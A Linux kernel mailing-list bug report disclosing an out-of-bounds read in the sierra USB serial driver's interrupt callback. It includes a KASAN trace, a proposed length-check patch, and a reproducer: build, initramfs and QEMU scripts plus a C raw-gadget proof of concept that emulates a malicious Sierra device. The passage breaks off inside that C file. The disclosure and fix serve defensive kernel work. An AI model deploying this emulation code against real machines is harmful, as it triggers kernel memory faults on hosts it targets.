All of lore.kernel.org
 help / color / mirror / Atom feed
From: Jay Vadayath <jkrshnmenon@gmail.com>
To: Johan Hovold <johan@kernel.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org,
	stable@vger.kernel.org, Jay Vadayath <jkrshnmenon@gmail.com>
Subject: [BUG] USB: serial: sierra: slab-out-of-bounds read in sierra_instat_callback() on short interrupt-IN packet
Date: Mon, 13 Jul 2026 20:37:27 -0700	[thread overview]
Message-ID: <20260714033729.11023-1-jkrshnmenon@gmail.com> (raw)

Hi,

I found a slab-out-of-bounds read in drivers/usb/serial/sierra.c that
is reachable from a malicious USB device.
This bug is similar to the one fixed in option.c by Jiale Yao on 2026-07-12
([PATCH] USB: serial: option: fix slab out-of-bounds read in option_instat_callback).

Summary
-------
sierra_instat_callback() handles the CDC-ACM-style SET_LINE_STATE
notification on the interrupt-IN endpoint. On status == 0 it:

  1. Reads the 8-byte usb_ctrlrequest header at transfer_buffer[0..7].
  2. If bRequestType/bRequest match 0xA1/0x20, reads a "signals" byte
     at transfer_buffer + sizeof(struct usb_ctrlrequest) - i.e. byte 8.

Neither read is bounded by urb->actual_length. The interrupt-IN
buffer is allocated by the driver's port-setup with
kmalloc(usb_endpoint_maxp(epd)), sized to the device-declared
endpoint wMaxPacketSize. A hostile device advertising
wMaxPacketSize=8 on its interrupt-IN endpoint pulls the buffer
from kmalloc-8 (exactly 8 bytes). When such a device then delivers
an 8-byte packet whose first two bytes are 0xA1 0x20, the callback
reads transfer_buffer[8] - exactly one byte past the end of the
slab object. KASAN flags this as slab-out-of-bounds.

Vulnerable code
---------------
drivers/usb/serial/sierra.c, sierra_instat_callback() (~line 573):

    if (status == 0) {
        struct usb_ctrlrequest *req_pkt = urb->transfer_buffer;

        if (!req_pkt) {
            dev_dbg(&port->dev, "%s: NULL req_pkt\n", __func__);
            return;
        }
        if ((req_pkt->bRequestType == 0xA1) &&
                (req_pkt->bRequest == 0x20)) {
            int old_dcd_state;
            unsigned char signals = *((unsigned char *)
                    urb->transfer_buffer +
                    sizeof(struct usb_ctrlrequest));   /* OOB when maxp==8 */

Affected versions
-----------------
Confirmed still present on master as of 2026-07-13 (HEAD 3b029c035b34bbc693405ddf759f0e9b920c27f1).

KASAN report
------------
Captured on v7.2.0-rc3, x86_64, QEMU + dummy_hcd.

BUG: KASAN: slab-out-of-bounds in sierra_instat_callback+0x599/0x5d0
Read of size 1 at addr ffff888003dedf88 by task swapper/0/0

Call Trace:
 <IRQ>
 sierra_instat_callback+0x599/0x5d0
 __usb_hcd_giveback_urb+0x23f/0x3f0
 dummy_timer+0xfe1/0x3470
 __hrtimer_run_queues+0x252/0x5a0
 hrtimer_run_softirq+0x1a4/0x3b0
 handle_softirqs+0x1bd/0x620
 __irq_exit_rcu+0x68/0x140
 sysvec_apic_timer_interrupt+0x6c/0x80
 </IRQ>

Allocated by task 11:
 __kmalloc_noprof+0x1bc/0x490
 usb_serial_probe+0x1c66/0x3fe0
 usb_probe_interface+0x279/0x980
 [... device_add/hub_event probe chain ...]

Reproducer
----------
The artifacts inlined below can be used to reproduce the bug.
Required kernel config options (delta on top of x86_64_defconfig):

  CONFIG_KASAN=y
  CONFIG_KASAN_GENERIC=y
  CONFIG_USB_SERIAL=y
  CONFIG_USB_SERIAL_SIERRAWIRELESS=y
  CONFIG_USB_GADGET=y
  CONFIG_USB_DUMMY_HCD=y
  CONFIG_USB_RAW_GADGET=y

Related work
------------
Jiale Yao posted an identical-class fix for the parallel bug in
option.c on 2026-07-12:

  [PATCH] USB: serial: option: fix slab out-of-bounds read in
          option_instat_callback
  https://lore.kernel.org/all/20260712170012.3503601-1-yaojiale02@163.com/

option_instat_callback() and sierra_instat_callback() are nearly
line-for-line copies.
The two fixes should probably land together.

Proposed fix
------------
Validate urb->actual_length before dereferencing the header, and
require one more byte before reading the signals field. The fix
below preserves sierra's existing "!req_pkt" NULL-check and layers
the length check as an additional guard; happy to reshape it to
match Jiale's idiom exactly (single combined "actual_length <
sizeof(*req_pkt) + 1" check, placed before the 0xA1/0x20 branch)
if that's preferred for cross-driver consistency.

diff --git a/drivers/usb/serial/sierra.c b/drivers/usb/serial/sierra.c
--- a/drivers/usb/serial/sierra.c
+++ b/drivers/usb/serial/sierra.c
@@ -570,13 +570,18 @@ static void sierra_instat_callback(struct urb *urb)
 	if (status == 0) {
 		struct usb_ctrlrequest *req_pkt = urb->transfer_buffer;

-		if (!req_pkt) {
-			dev_dbg(&port->dev, "%s: NULL req_pkt\n",
+		/*
+		 * The interrupt-in buffer is sized to the device-declared
+		 * endpoint wMaxPacketSize; validate the device actually sent a
+		 * full control-request header (and the trailing signal byte)
+		 * before dereferencing it, or a short packet causes an OOB read.
+		 */
+		if (!req_pkt || urb->actual_length < sizeof(*req_pkt)) {
+			dev_dbg(&port->dev, "%s: NULL/short req_pkt\n",
 				__func__);
-			return;
-		}
-		if ((req_pkt->bRequestType == 0xA1) &&
-				(req_pkt->bRequest == 0x20)) {
+		} else if ((req_pkt->bRequestType == 0xA1) &&
+				(req_pkt->bRequest == 0x20) &&
+				urb->actual_length >= sizeof(*req_pkt) + 1) {
 			int old_dcd_state;
 			unsigned char signals = *((unsigned char *)
 					urb->transfer_buffer +

Reported-by: Jay Vadayath <jkrshnmenon@gmail.com>

Thanks,

--- build.sh ---
#!/bin/bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO="${1:?Usage: $0 <kernel-source-dir>}"
REPO="$(cd "$REPO" && pwd)"

CONFIG_SRC="$SCRIPT_DIR/387ee687512d2acd32d1d47ebcb1972e.config"

# sccache setup
export KBUILD_BUILD_TIMESTAMP=""
if command -v sccache &>/dev/null; then
    export CC="sccache gcc"
    echo "[build] Using sccache"
else
    export CC="gcc"
    echo "[build] sccache not found, using gcc directly"
fi

NPROC=$(nproc)

build_variant() {
    local variant="$1"
    local build_dir="$SCRIPT_DIR/builds/$variant"
    mkdir -p "$build_dir"

    echo "[build] ===== Building variant: $variant ====="

    # Copy base config
    cp "$CONFIG_SRC" "$REPO/.config"

    # Adjust config per variant
    case "$variant" in
        asan)
            # Config already has KASAN enabled, just ensure it
            "$REPO/scripts/config" --file "$REPO/.config" \
                -e KASAN -e KASAN_GENERIC -e KASAN_INLINE -e KASAN_STACK \
                -d KASAN_OUTLINE
            ;;
        *)
            echo "[build] Unknown variant: $variant"
            return 1
            ;;
    esac

    # Finalize config
    make -C "$REPO" olddefconfig > "$build_dir/config.log" 2>&1

    # Build kernel
    echo "[build] Building kernel for $variant ..."
    make -C "$REPO" -j"$NPROC" bzImage > "$build_dir/build.log" 2>&1 || {
        echo "[build] FAILED: see $build_dir/build.log"
        tail -30 "$build_dir/build.log"
        return 1
    }

    # Copy bzImage
    cp "$REPO/arch/x86/boot/bzImage" "$build_dir/bzImage"
    echo "[build] $variant bzImage -> $build_dir/bzImage"

    # Save config
    cp "$REPO/.config" "$build_dir/.config"
}

# Build the PoC binary (static, for initramfs)
echo "[build] Compiling PoC..."
gcc -O2 -static -pthread \
    -o "$SCRIPT_DIR/poc.bin" "$SCRIPT_DIR/poc.c" \
    || { echo "[build] PoC compilation failed"; exit 1; }
echo "[build] PoC compiled -> $SCRIPT_DIR/poc.bin"

# Build ASAN variant (the config already has KASAN)
build_variant asan

echo "[build] All builds complete."
echo "[build] Building initramfs..."
bash "$SCRIPT_DIR/build_initramfs.sh"
echo "[build] Done."


--- end build.sh ---

--- build_initramfs.sh ---
#!/usr/bin/env bash
# build_initramfs.sh - Minimal initramfs for the sierra_instat_callback
# reproducer: BusyBox static + /init + PoC binary. No SSH, no user
# accounts, no networking - the PoC runs at boot as root and powers off.
#
# Usage: ./build_initramfs.sh [-o <output_path>]

set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
OUTPUT="$SCRIPT_DIR/initramfs/initramfs.cpio.gz"

# --- argument parsing ---
while [[ $# -gt 0 ]]; do
    case "$1" in
        -o|--output) OUTPUT="$2"; shift 2 ;;
        -h|--help)   sed -n '2,6p' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
        *)           echo "Unknown option: $1" >&2; exit 1 ;;
    esac
done
OUTPUT="$(realpath -m "$OUTPUT")"

command -v busybox >/dev/null 2>&1 \
    || { echo "busybox not found (install: sudo apt install busybox-static)" >&2; exit 1; }
BUSYBOX_BIN="$(command -v busybox)"

WORKDIR="$(mktemp -d /tmp/initramfs_build.XXXXXX)"
trap 'rm -rf "$WORKDIR"' EXIT
ROOT="$WORKDIR/rootfs"

mkdir -p "$ROOT"/{bin,sbin,dev,proc,sys,tmp,run,etc}

# --- BusyBox + applets ---
cp "$BUSYBOX_BIN" "$ROOT/bin/busybox"
chmod +x "$ROOT/bin/busybox"
for applet in $("$BUSYBOX_BIN" --list); do
    ln -s /bin/busybox "$ROOT/bin/$applet" 2>/dev/null || true
done

# --- /init ---
cat > "$ROOT/init" <<'INIT'
#!/bin/sh
export PATH=/bin:/sbin:/usr/bin:/usr/sbin

mount -t proc     proc  /proc
mount -t sysfs    sysfs /sys
mount -t devtmpfs dev   /dev
mount -t tmpfs    tmpfs /tmp
mount -t tmpfs    tmpfs /run

exec > /dev/console 2>&1
exec < /dev/console

# Let KASAN reports through
echo 7 > /proc/sys/kernel/printk 2>/dev/null || true

if [ -x /poc ]; then
    /poc 2>&1
    echo "[init] /poc exited with status $?"
    poweroff -f
fi
exec /bin/sh
INIT
chmod +x "$ROOT/init"

# --- PoC binary ---
if [[ -f "$SCRIPT_DIR/poc.bin" ]]; then
    cp "$SCRIPT_DIR/poc.bin" "$ROOT/poc"
    chmod +x "$ROOT/poc"
else
    echo "warning: $SCRIPT_DIR/poc.bin not found; run build.sh first" >&2
fi

# --- Minimum /dev nodes (devtmpfs at runtime supplants these) ---
(
    cd "$ROOT/dev"
    _SUDO="$(command -v fakeroot 2>/dev/null || echo sudo)"
    $_SUDO mknod -m 622 console c 5 1 2>/dev/null || true
    $_SUDO mknod -m 666 null    c 1 3 2>/dev/null || true
)

# --- Pack ---
mkdir -p "$(dirname "$OUTPUT")"
( cd "$ROOT"; find . | cpio -o -H newc 2>/dev/null ) | gzip -9 > "$OUTPUT"

echo "initramfs: $OUTPUT ($(du -k "$OUTPUT" | cut -f1) KiB)"


--- end build_initramfs.sh ---

--- poc.sh ---

#!/bin/bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
LOGS_DIR="$SCRIPT_DIR/logs"
rm -rf "$LOGS_DIR"
mkdir -p "$LOGS_DIR/asan"

BZIMAGE="$SCRIPT_DIR/builds/asan/bzImage"
INITRAMFS="$SCRIPT_DIR/initramfs/initramfs.cpio.gz"

if [[ ! -f "$BZIMAGE" ]]; then
    echo "[poc.sh] ERROR: $BZIMAGE not found. Run build.sh first."
    exit 1
fi
if [[ ! -f "$INITRAMFS" ]]; then
    echo "[poc.sh] ERROR: $INITRAMFS not found. Run build.sh first."
    exit 1
fi

# Determine QEMU acceleration
ACCEL="-accel tcg"
if [[ -e /dev/kvm ]] && [[ -w /dev/kvm ]]; then
    ACCEL="-accel kvm"
    echo "[poc.sh] Using KVM acceleration"
else
    echo "[poc.sh] Using TCG (no KVM)"
fi

SERIAL_LOG="$LOGS_DIR/asan/serial.log"
TIMEOUT=180

echo "[poc.sh] Booting ASAN kernel variant..."
echo "[poc.sh] Serial log -> $SERIAL_LOG"

# Boot QEMU with KASAN kernel
# Use loglevel=3 (KERN_ERR) to capture KASAN reports while being quiet
# kasan_multi_shot: allow multiple KASAN reports without halting
timeout "$TIMEOUT" qemu-system-x86_64 \
    $ACCEL \
    -m 2048 \
    -smp 2 \
    -kernel "$BZIMAGE" \
    -initrd "$INITRAMFS" \
    -append "console=ttyS0 root=/dev/ram rdinit=/init quiet loglevel=3 printk.devkmsg=off kasan_multi_shot=1" \
    -serial file:"$SERIAL_LOG" \
    -display none \
    -monitor none \
    -no-reboot \
    -net none \
    2>/dev/null || true

sleep 1

echo "[poc.sh] QEMU exited. Checking logs..."

# Also collect dmesg-like output from serial log
cp "$SERIAL_LOG" "$LOGS_DIR/asan/dmesg.log" 2>/dev/null || true

# Check for the target crash signature
echo ""
echo "===== Checking for KASAN slab-out-of-bounds in sierra_instat_callback ====="
if grep -q "BUG: KASAN: slab-out-of-bounds in sierra_instat_callback" "$SERIAL_LOG" 2>/dev/null; then
    echo "[poc.sh] SUCCESS: Found target crash signature!"
    echo ""
    echo "--- KASAN Report ---"
    grep -A 50 "BUG: KASAN: slab-out-of-bounds in sierra_instat_callback" "$SERIAL_LOG" | strings | head -60
    echo ""
    echo "--- Allocation trace ---"
    grep -A 20 "Allocated by task" "$SERIAL_LOG" | strings | head -25
    echo "---"
else
    echo "[poc.sh] Crash signature NOT found. Checking for any KASAN report..."
    if grep -q "BUG: KASAN" "$SERIAL_LOG" 2>/dev/null; then
        echo "[poc.sh] Found KASAN report (may not match target):"
        grep -B2 -A 30 "BUG: KASAN" "$SERIAL_LOG" | strings | head -40
    else
        echo "[poc.sh] No KASAN report found."
        echo "[poc.sh] Last 50 lines of serial log:"
        tail -50 "$SERIAL_LOG" 2>/dev/null | strings || echo "(empty)"
    fi
fi

echo ""
echo "===== Full serial log available at: $SERIAL_LOG ====="


--- end poc.sh ---

--- poc.c ---

// SPDX-License-Identifier: 0BSD
// PoC for sierra_instat_callback OOB read via raw-gadget + dummy_hcd
//
// Build: gcc -O2 -static -pthread -o poc poc.c

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>

#include <endian.h>
#ifndef cpu_to_le16
#define cpu_to_le16(x) htole16(x)
#endif
#ifndef le16_to_cpu
#define le16_to_cpu(x) le16toh(x)
#endif

#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static int fd_raw = -1;
static uint16_t ep_bulk_in_handle;
static uint16_t ep_bulk_out_handle;
static uint16_t ep_int_in_handle;

static int ep0_write(const void *buf, size_t len) {
    struct {
        struct usb_raw_ep_io io;
        uint8_t data[1024];
    } __attribute__((packed)) req;
    memset(&req, 0, sizeof(req));
    req.io.ep = 0;
    req.io.flags = 0;
    req.io.length = (uint32_t)len;
    if (len) memcpy(req.data, buf, len);
    return ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &req);
}

static int ep0_read(void *buf, size_t bufsz) {
    struct {
        struct usb_raw_ep_io io;
        uint8_t data[1024];
    } __attribute__((packed)) req;
    memset(&req, 0, sizeof(req));
    req.io.ep = 0;
    req.io.flags = 0;
    req.io.length = (uint32_t)bufsz;
    int ret = ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &req);
    if (ret < 0) return -1;
    if (buf && ret > 0) memcpy(buf, req.data, ret > (int)bufsz ? (int)bufsz : ret);
    return ret;
}

static int ep0_stall(void) {
    return ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}

static int ep_write(uint16_t eph, const void *buf, size_t len) {
    struct {
        struct usb_raw_ep_io io;
        uint8_t data[4096];
    } __attribute__((packed)) req;
    memset(&req, 0, sizeof(req));
    req.io.ep = eph;
    req.io.flags = 0;
    req.io.length = (uint32_t)len;
    if (len) memcpy(req.data, buf, len);
    return ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &req);
}

/* Packed 7-byte endpoint descriptor for config blob */
struct ep7 {
    uint8_t bLength;
    uint8_t bDescriptorType;
    uint8_t bEndpointAddress;
    uint8_t bmAttributes;
    uint16_t wMaxPacketSize;
    uint8_t bInterval;
} __attribute__((packed));

/* Descriptors */
static struct usb_device_descriptor dev_desc;
static struct usb_qualifier_descriptor qual_desc;

/* Config blob: 9 (config) + 9 (interface) + 7*3 (endpoints) = 39 bytes */
static uint8_t cfg_buf[256];
static size_t cfg_len;

static struct usb_endpoint_descriptor ep_bulk_out_desc;
static struct usb_endpoint_descriptor ep_bulk_in_desc;
static struct usb_endpoint_descriptor ep_int_in_desc;

static uint8_t addr_bulk_out;
static uint8_t addr_bulk_in;
static uint8_t addr_int_in;

static void pick_eps(void) {
    struct usb_raw_eps_info eps;
    memset(&eps, 0, sizeof(eps));
    int n = ioctl(fd_raw, USB_RAW_IOCTL_EPS_INFO, &eps);
    if (n < 0) die("EPS_INFO");
    addr_bulk_out = 0;
    addr_bulk_in = 0;
    addr_int_in = 0;
    for (int i = 0; i < n; i++) {
        struct usb_raw_ep_info *e = &eps.eps[i];
        if (!e->name[0]) continue;
        if (!addr_bulk_in && e->caps.type_bulk && e->caps.dir_in)
            addr_bulk_in = (uint8_t)(e->addr | USB_DIR_IN);
        if (!addr_bulk_out && e->caps.type_bulk && e->caps.dir_out)
            addr_bulk_out = (uint8_t)(e->addr & 0x7f);
        if (!addr_int_in && e->caps.type_int && e->caps.dir_in)
            addr_int_in = (uint8_t)(e->addr | USB_DIR_IN);
    }
    if (!addr_bulk_out || addr_bulk_out == USB_RAW_EP_ADDR_ANY) addr_bulk_out = 1;
    if (!addr_bulk_in || addr_bulk_in == USB_RAW_EP_ADDR_ANY) addr_bulk_in = USB_DIR_IN | 1;
    if (!addr_int_in || addr_int_in == USB_RAW_EP_ADDR_ANY) addr_int_in = USB_DIR_IN | 2;
    fprintf(stderr, "[poc] EPs: bout=0x%02x bin=0x%02x iin=0x%02x\n",
            addr_bulk_out, addr_bulk_in, addr_int_in);
}

static void build_descriptors(void) {
    memset(&dev_desc, 0, sizeof(dev_desc));
    dev_desc.bLength = USB_DT_DEVICE_SIZE;
    dev_desc.bDescriptorType = USB_DT_DEVICE;
    dev_desc.bcdUSB = cpu_to_le16(0x0200);
    dev_desc.bMaxPacketSize0 = 64;
    dev_desc.idVendor = cpu_to_le16(0x1199);
    dev_desc.idProduct = cpu_to_le16(0x0019);
    dev_desc.bcdDevice = cpu_to_le16(0x0100);
    dev_desc.iManufacturer = 1;
    dev_desc.iProduct = 2;
    dev_desc.iSerialNumber = 3;
    dev_desc.bNumConfigurations = 1;

    memset(&qual_desc, 0, sizeof(qual_desc));
    qual_desc.bLength = sizeof(qual_desc);
    qual_desc.bDescriptorType = USB_DT_DEVICE_QUALIFIER;
    qual_desc.bcdUSB = cpu_to_le16(0x0200);
    qual_desc.bMaxPacketSize0 = 64;
    qual_desc.bNumConfigurations = 1;

    /* Full 9-byte endpoint descriptors for EP_ENABLE */
    memset(&ep_bulk_out_desc, 0, sizeof(ep_bulk_out_desc));
    ep_bulk_out_desc.bLength = USB_DT_ENDPOINT_SIZE;
    ep_bulk_out_desc.bDescriptorType = USB_DT_ENDPOINT;
    ep_bulk_out_desc.bEndpointAddress = addr_bulk_out;
    ep_bulk_out_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
    ep_bulk_out_desc.wMaxPacketSize = cpu_to_le16(512);

    memset(&ep_bulk_in_desc, 0, sizeof(ep_bulk_in_desc));
    ep_bulk_in_desc.bLength = USB_DT_ENDPOINT_SIZE;
    ep_bulk_in_desc.bDescriptorType = USB_DT_ENDPOINT;
    ep_bulk_in_desc.bEndpointAddress = addr_bulk_in;
    ep_bulk_in_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
    ep_bulk_in_desc.wMaxPacketSize = cpu_to_le16(512);

    memset(&ep_int_in_desc, 0, sizeof(ep_int_in_desc));
    ep_int_in_desc.bLength = USB_DT_ENDPOINT_SIZE;
    ep_int_in_desc.bDescriptorType = USB_DT_ENDPOINT;
    ep_int_in_desc.bEndpointAddress = addr_int_in;
    ep_int_in_desc.bmAttributes = USB_ENDPOINT_XFER_INT;
    ep_int_in_desc.wMaxPacketSize = cpu_to_le16(8);
    ep_int_in_desc.bInterval = 1;

    /* Build the config descriptor blob manually to avoid alignment issues */
    uint8_t *p = cfg_buf;

    /* Config descriptor (9 bytes) */
    struct usb_config_descriptor cfg;
    memset(&cfg, 0, sizeof(cfg));
    cfg.bLength = USB_DT_CONFIG_SIZE;
    cfg.bDescriptorType = USB_DT_CONFIG;
    /* wTotalLength filled below */
    cfg.bNumInterfaces = 1;
    cfg.bConfigurationValue = 1;
    cfg.bmAttributes = 0x80;
    cfg.bMaxPower = 50;
    memcpy(p, &cfg, 9); p += 9;

    /* Interface descriptor (9 bytes) */
    struct usb_interface_descriptor intf;
    memset(&intf, 0, sizeof(intf));
    intf.bLength = USB_DT_INTERFACE_SIZE;
    intf.bDescriptorType = USB_DT_INTERFACE;
    intf.bInterfaceNumber = 0;
    intf.bNumEndpoints = 3;
    intf.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
    intf.bInterfaceSubClass = 0xff;
    intf.bInterfaceProtocol = 0xff;
    memcpy(p, &intf, 9); p += 9;

    /* Endpoint descriptors (7 bytes each, packed manually) */
    struct ep7 ep;

    /* Bulk OUT */
    memset(&ep, 0, 7);
    ep.bLength = 7;
    ep.bDescriptorType = USB_DT_ENDPOINT;
    ep.bEndpointAddress = addr_bulk_out;
    ep.bmAttributes = USB_ENDPOINT_XFER_BULK;
    ep.wMaxPacketSize = cpu_to_le16(512);
    ep.bInterval = 0;
    memcpy(p, &ep, 7); p += 7;

    /* Bulk IN */
    memset(&ep, 0, 7);
    ep.bLength = 7;
    ep.bDescriptorType = USB_DT_ENDPOINT;
    ep.bEndpointAddress = addr_bulk_in;
    ep.bmAttributes = USB_ENDPOINT_XFER_BULK;
    ep.wMaxPacketSize = cpu_to_le16(512);
    ep.bInterval = 0;
    memcpy(p, &ep, 7); p += 7;

    /* Interrupt IN (wMaxPacketSize = 8: CRITICAL for OOB) */
    memset(&ep, 0, 7);
    ep.bLength = 7;
    ep.bDescriptorType = USB_DT_ENDPOINT;
    ep.bEndpointAddress = addr_int_in;
    ep.bmAttributes = USB_ENDPOINT_XFER_INT;
    ep.wMaxPacketSize = cpu_to_le16(8);
    ep.bInterval = 1;
    memcpy(p, &ep, 7); p += 7;

    cfg_len = (size_t)(p - cfg_buf);
    /* Patch wTotalLength */
    cfg_buf[2] = (uint8_t)(cfg_len & 0xff);
    cfg_buf[3] = (uint8_t)((cfg_len >> 8) & 0xff);

    fprintf(stderr, "[poc] Config blob: %zu bytes total\n", cfg_len);
}

static void build_string_desc(uint8_t idx, uint8_t *out, size_t *out_len) {
    if (idx == 0) {
        out[0] = 4; out[1] = USB_DT_STRING;
        out[2] = 0x09; out[3] = 0x04;
        *out_len = 4;
        return;
    }
    const char *s = (idx == 1) ? "Sierra" : (idx == 2) ? "AirCard" : "poc0";
    size_t sl = strlen(s);
    size_t total = 2 + sl * 2;
    out[0] = (uint8_t)total;
    out[1] = USB_DT_STRING;
    for (size_t i = 0; i < sl; i++) {
        out[2 + 2*i] = (uint8_t)s[i];
        out[2 + 2*i + 1] = 0;
    }
    *out_len = total;
}

static volatile int threads_run = 1;

static void *bulk_in_thread(void *arg) {
    (void)arg;
    uint8_t buf[512];
    memset(buf, 0, sizeof(buf));
    while (threads_run) {
        int r = ep_write(ep_bulk_in_handle, buf, sizeof(buf));
        if (r < 0) {
            if (errno == ESHUTDOWN || errno == ENODEV)
                break;
            usleep(10000);
        }
    }
    return NULL;
}

int main(int argc, char **argv) {
    (void)argc; (void)argv;

    fprintf(stderr, "[poc] Sierra OOB read PoC starting\n");

    fd_raw = open("/dev/raw-gadget", O_RDWR | O_CLOEXEC);
    if (fd_raw < 0) die("open /dev/raw-gadget");

    /* Discover UDC */
    char udc_name[128] = {0};
    char driver_name[128] = {0};
    DIR *d = opendir("/sys/class/udc");
    if (!d) die("opendir /sys/class/udc");
    struct dirent *de;
    while ((de = readdir(d)) != NULL) {
        if (de->d_name[0] == '.') continue;
        snprintf(udc_name, sizeof(udc_name), "%s", de->d_name);
        break;
    }
    closedir(d);
    if (!udc_name[0]) { fprintf(stderr, "[poc] No UDC\n"); return 1; }

    if (!strncmp(udc_name, "dummy_udc", 9))
        snprintf(driver_name, sizeof(driver_name), "dummy_udc");
    else
        snprintf(driver_name, sizeof(driver_name), "%s", udc_name);

    fprintf(stderr, "[poc] UDC: device=%s driver=%s\n", udc_name, driver_name);

    struct usb_raw_init init;
    memset(&init, 0, sizeof(init));
    snprintf((char *)init.driver_name, sizeof(init.driver_name), "%s", driver_name);
    snprintf((char *)init.device_name, sizeof(init.device_name), "%s", udc_name);
    init.speed = USB_SPEED_HIGH;

    if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) die("INIT");
    if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) die("RUN");

    fprintf(stderr, "[poc] Raw gadget running\n");

    int configured = 0;

    while (!configured) {
        uint8_t evbuf[512];
        memset(evbuf, 0, sizeof(evbuf));
        struct usb_raw_event *ev = (struct usb_raw_event *)evbuf;
        ev->length = sizeof(evbuf) - sizeof(*ev);

        if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, ev) < 0) {
            if (errno == EINTR) continue;
            die("EVENT_FETCH");
        }

        if (ev->type == USB_RAW_EVENT_CONNECT) {
            fprintf(stderr, "[poc] CONNECT\n");
            pick_eps();
            build_descriptors();
            continue;
        }
        if (ev->type == USB_RAW_EVENT_RESET) {
            fprintf(stderr, "[poc] RESET\n");
            continue;
        }
        if (ev->type != USB_RAW_EVENT_CONTROL) {
            fprintf(stderr, "[poc] event type=%u\n", ev->type);
            continue;
        }
        if (ev->length < sizeof(struct usb_ctrlrequest)) continue;

        struct usb_ctrlrequest *setup = (struct usb_ctrlrequest *)ev->data;
        uint8_t bmReqType = setup->bRequestType;
        uint8_t bReq = setup->bRequest;
        uint16_t wValue = le16_to_cpu(setup->wValue);
        uint16_t wIndex = le16_to_cpu(setup->wIndex);
        uint16_t wLength = le16_to_cpu(setup->wLength);

        fprintf(stderr, "[poc] CTRL: rt=0x%02x rq=0x%02x val=0x%04x idx=0x%04x len=%u\n",
                bmReqType, bReq, wValue, wIndex, wLength);

        if ((bmReqType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
            if (bReq == USB_REQ_GET_DESCRIPTOR) {
                uint8_t dtype = (wValue >> 8) & 0xff;
                uint8_t dindex = wValue & 0xff;
                if (dtype == USB_DT_DEVICE) {
                    size_t n = sizeof(dev_desc);
                    if (n > wLength) n = wLength;
                    ep0_write(&dev_desc, n);
                } else if (dtype == USB_DT_CONFIG) {
                    size_t n = cfg_len;
                    if (n > wLength) n = wLength;
                    ep0_write(cfg_buf, n);
                } else if (dtype == USB_DT_STRING) {
                    uint8_t sbuf[128];
                    size_t slen = 0;
                    build_string_desc(dindex, sbuf, &slen);
                    if (slen > wLength) slen = wLength;
                    ep0_write(sbuf, slen);
                } else if (dtype == USB_DT_DEVICE_QUALIFIER) {
                    size_t n = sizeof(qual_desc);
                    if (n > wLength) n = wLength;
                    ep0_write(&qual_desc, n);
                } else {
                    ep0_stall();
                }
                continue;
            }
            if (bReq == USB_REQ_SET_CONFIGURATION) {
                fprintf(stderr, "[poc] SET_CONFIGURATION %u\n", wValue);
                ep0_read(NULL, 0);
                if (ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0) < 0) die("CONFIGURE");
                int h;
                h = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &ep_bulk_out_desc);
                if (h < 0) die("EP_ENABLE bulk_out");
                ep_bulk_out_handle = (uint16_t)h;
                h = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &ep_bulk_in_desc);
                if (h < 0) die("EP_ENABLE bulk_in");
                ep_bulk_in_handle = (uint16_t)h;
                h = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &ep_int_in_desc);
                if (h < 0) die("EP_ENABLE int_in");
                ep_int_in_handle = (uint16_t)h;
                fprintf(stderr, "[poc] EPs enabled: bout=%u bin=%u iin=%u\n",
                        ep_bulk_out_handle, ep_bulk_in_handle, ep_int_in_handle);
                configured = 1;
                continue;
            }
            if (bReq == USB_REQ_SET_INTERFACE) {
                ep0_read(NULL, 0);
                continue;
            }
            if (bReq == USB_REQ_GET_STATUS) {
                uint16_t status = 0;
                size_t n = 2;
                if (n > wLength) n = wLength;
                ep0_write(&status, n);
                continue;
            }
            if (!(bmReqType & USB_DIR_IN) && wLength == 0) {
                ep0_read(NULL, 0);
                continue;
            }
        }
        /* Vendor/class requests */
        if (!(bmReqType & USB_DIR_IN) && wLength == 0) {
            ep0_read(NULL, 0);
        } else if (!(bmReqType & USB_DIR_IN)) {
            uint8_t tmpbuf[1024];
            ep0_read(tmpbuf, wLength);
        } else {
            ep0_stall();
        }
    }

    fprintf(stderr, "[poc] Configured. Starting bulk-in feeder.\n");

    pthread_t bulkin_tid;
    pthread_create(&bulkin_tid, NULL, bulk_in_thread, NULL);

    fprintf(stderr, "[poc] Waiting for /dev/ttyUSB0...\n");
    for (int i = 0; i < 200; i++) {
        if (access("/dev/ttyUSB0", F_OK) == 0) break;
        usleep(50000);
    }

    fprintf(stderr, "[poc] Opening /dev/ttyUSB0 (with retries)...\n");
    int ttyfd = -1;
    for (int attempt = 0; attempt < 50 && ttyfd < 0; attempt++) {
        ttyfd = open("/dev/ttyUSB0", O_RDWR | O_NOCTTY | O_CLOEXEC);
        if (ttyfd >= 0) break;
        if (errno == EACCES) {
            /* Permission not yet set by init helper */
            usleep(100000);
            continue;
        }
        /* Try other ttyUSB devices */
        for (int n = 1; n < 5 && ttyfd < 0; n++) {
            char path[32];
            snprintf(path, sizeof(path), "/dev/ttyUSB%d", n);
